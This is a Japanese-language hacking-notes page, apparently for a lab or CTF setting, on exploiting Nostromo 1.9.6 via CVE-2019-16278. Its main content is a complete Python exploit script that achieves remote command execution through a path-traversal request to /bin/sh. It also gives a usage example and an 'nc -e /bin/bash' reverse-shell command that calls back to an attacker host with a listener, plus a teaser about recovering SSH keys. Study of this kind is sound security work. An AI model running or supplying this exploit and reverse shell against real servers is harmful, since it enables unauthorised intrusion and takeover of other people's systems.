> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/cms/nostromo-cms-exploitation.md). # Nostromo CVE-2019-16278のリモートコード実行、リバースシェル配信、HomeDirs設定レビュー、保護されたユーザーコンテンツの発見のためのNostromo攻略ノート。 CVE-2019-16278 のリモートコマンド実行、リバースシェルの配信、および HomeDirs 列挙に関する Nostromo の悪用メモ。 ## Nostromo の CVE-2019-16278 RCE **エクスプロイト調査：** `searchsploit` Nostromo 1.9.6 用の RCE エクスプロイトを特定する。
GitHub から PoC をダウンロードします。 {% embed url="" %} **スクリプトの実行：** 以下のスクリプトを使用して、サーバー上でコマンドを実行します： ```python import argparse import socket # argparse の設定 parser = argparse.ArgumentParser(description="Exploit for CVE-2019-16278 - Nostromo 1.9.6 RCE") parser.add_argument("-t", "--target", help="Remote host to target") parser.add_argument("-p", "--port", help="Remote port to target") parser.add_argument("-c", "--command", help="Command to execute on the server") parser.add_argument("-b", "--bytes", help="The number of bytes to receive back in the response") # Define and assign the variables args = parser.parse_args() TARGET = args.target PORT = int(args.port) COMMAND = args.command BYTES = args.bytes if BYTES is None: BYTES = 4096 else: BYTES = int(BYTES) URL = "/.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.0" # Build and encode the payload payload = (f"POST {URL}/r/n" "Content-Length: 1/r/n/r/n" f"echo/necho/n{COMMAND} 2>&1").encode() # Create the socket and send the payload s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TARGET, PORT)) s.send(payload) # Receive the response and close the socket print(s.recv(1024).decode()) print(s.recv(BYTES).decode()) s.close() ``` ```bash python exploit.py -t 10.10.10.165 -p 80 -c whoami ```
**リバースシェルを取得する：** ```bash python exploit.py -t 10.10.10.165 -p 80 -c bash -c 'nc -e /bin/bash 10.10.14.10 443' ``` ```bash sudo nc -nlvp 443 ```
## 関連ノート

:server:

HomeDirs の設定

nhttpd.conf の確認、public_www の発見、protected-file-area へのアクセス、バックアップアーカイブの抽出、SSH 鍵の復旧に関する Nostromo HomeDirs 列挙メモ。Nostromo HomeDirs設定
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